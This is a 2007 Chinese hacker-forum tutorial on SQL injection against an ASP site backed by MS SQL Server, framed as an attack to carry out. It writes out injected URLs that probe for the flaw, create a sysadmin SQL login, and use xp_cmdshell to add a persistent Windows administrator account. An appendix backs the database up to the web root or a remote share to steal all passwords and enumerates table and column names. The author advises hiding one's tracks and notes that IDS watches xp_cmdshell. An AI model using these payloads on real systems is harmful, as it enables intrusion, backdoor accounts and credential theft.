文章 | 入侵攻击 | 安全防御 | 操作系统 | 网站建设 | 网络编程 | 路由交换 | 灾难恢复 | 新闻资讯 | 安全公告
下载 | 漏洞扫描 | 加密破解 | 入侵攻击 | 后门木马 | 溢出程序 | 综合工具 | 安全防护 | 原创发布 | 动画教程
论坛 | 黑客军火 | 配服务器 | 黑客情感 | 免费资源 | 美女贴图 | 灌水无罪 | 在线服务 | 会员照片 | 网站首页
 当前位置:主页 >> 安全公告 >> 漏洞公告 >> 文章内容  
 

 
利用“dbo”获得SQL管理权限和系统权限

www.hx99.org 阅读: 时间:2007-07-09 整理:华西黑盟
------------------------------------------------------------------
 SQL注入入侵,有写的不对和不好的地方希望各位师哥,师姐们多多指导。

在一个供求信息发布的网站上测试了一下,页面http://www.xxx.com/new/new.asp?id=49

我做了如下测试:(1)http://www.xxx.com/new/new.asp?id=49’
         
MicrosoftOLEDBProviderforODBCDrivers错误'80040e14
[Microsoft][ODBCMicrosoftAccessDriver]字符串的语法错误
在查询表达式'ID=49''中。
/new.asp,行36
       
(2)http://www.xxx.com/new/new.asp?id=49and1=1
(正常返回页面)

(3)http://www.xxx.com/new/new.asp?id=49and1=2
MicrosoftOLEDBProviderforODBCDrivers错误'800a0bcd'
BOF或EOF中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
/new.asp,行42

注:上面的测试已经可以看出有SQL注入的机会,我们用下面一个句子来判断他数据库类型和登陆身份。
Http://www.xxx.com/new/new.asp?id=49anduser>0
MicrosoftOLEDBProviderforODBCDrivers错误'800a0bcd' 
将nvarchar值”dbo”转换数据类型为int的列时发生语法错误
/new.asp,行42
注:如果显示“dbo”转换数据类型为int的列时发生语法错误那么就可以用我下面介绍的方法来获得系统管理权限,如果是“abc”转换数据类型为int的列时发生语法错误 那么就用不能用我下面的介绍来获得系统权限了。

获得以上信息后,就可以提交以下URL来一步一步的获得SQL管理员权限和系统权限了。

(1)http://www.xxx.com/new/new.asp?id=49;exec
aster.dbo.sp_addloginfmzm;--
添加SQL用户
  
  (2)http://www.xxx.com/new/new.asp?id=49;execmaster.dbo.sp_passwordnull,fmzm,fmzm;--
设置SQL帐号FMZM的密码为FMZM
  
  (3)http://www.xxx.com/new/new.asp?id=49;execmaster.dbo.sp_addsrvrolemembersysadminfmzm;--

提升权限:加FMZM进sysadmin管理组(有时候会不成功,就常识下面的句子
     ;execmaster.dbo.sp_addsrvrolememberfmzm,sysadmin--为什么会这样,我也不清清楚,我就遇到了?
    
   (4)http://www.xxx.com/new/new.asp?id=49;execmaster.dbo.xp_cmdshell'netuserfmzmfmzm/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add';--
建立一个系统用FMZM并设置其密码为FMZM
    (注:/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes这些很关键,如果不加这些,你建立的用户很有可能无法登陆,这些是启用你的帐号,并且使密码永不过期的一些相关设置。)
 
  (5)http://www.xxx.com/new/new.asp?id=49;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorsfmzm/add';--

把帐号FMZM加入到管理员组

OK,到此为止,已经得到了SQL管理权限和系统权限了,还有什么不能做的呢?把上面的句子变个形开个TELNET,或者用SQL连接器去连接,随便你怎么整了,记得别暴露自己哦:)目前有些好的IDS已经开始监视xp_cmdshell这些关键字了.
                   

 附:(1)http://Site/url.asp?id=1;;anddb_name()>0

前面有个类似的例子anduser>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

  (2)http://Site/url.asp?id=1;backupdatabase数据库名todisk=’c:\inetpub\wwwroot\1.db’;--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

   (3)http://Site/url.asp?id=1;;and(SelectTop1namefromsysobjectswherextype=’U’andstatus>0)>0

sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’andstatus>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是可以
自己考虑下。

  (4)http://Site/url.asp?id=1;;and(SelectTop1col_name(object_id(‘表名’),1)fromsysobjects)>0

从(3)拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
   -------------------------------------------------------------------------------------------
  上一篇:NEWASP 新云CMS BUG
  下一篇:预警:伪造ARP数据包恶意攻击的木马
   -------------------------------------------------------------------------------------------
用户名:
Email:
评论内容:
 
  精品推荐
Discuz! 6.0.0 0Day漏洞
视频语音聊天系统的漏洞
DVBBS 7.1.0 SP1博客远程
bbsxp上传注入漏洞
现代教务管理系统漏洞
MS05-055:Windows内核中
QQ幻想盗号器病毒 窃取游
沸腾新闻系统 V1.1 Access
动网8.0最新漏洞
NSFOCUS 2007年07月之十大
DNS漏洞攻击增多 微软忙着
mssql2005存手工注入漏洞
oblog商业版本4.6注射漏洞
PHPWind论坛5.3版postuplo
百度超级搜霸远程代码执行
DVBBS V7.1 SP1 Boke注入
DedeCMS最新版存在暴物理
QQ惊爆危险漏洞 360截获“
动易最新未公开漏洞
bo-blog2.0.3文件浏览漏洞
宁波都市网漏洞公告(通杀
Microsoft Internet Explo
乔客(joekoe) CMS 4.0 的2
雅虎窗件曝出缓冲区溢出漏
phpRPC库远程代码执行漏洞
关于我们 | 发展历程 | 在线投稿 | 核心监督 | 友情链接 | 网站地图 | 网站留言 | 联系我们
Copyright © 2004-2007 Www.Hx99.Net
版本:华西黑盟网站系统V5.0 Email:root#hx99.org
中国·西安·宝鸡 请使用IE6.0版本, 分辩率1024×768进行浏览
版权所有 任意抄袭 注意完整
陕ICP备06000444号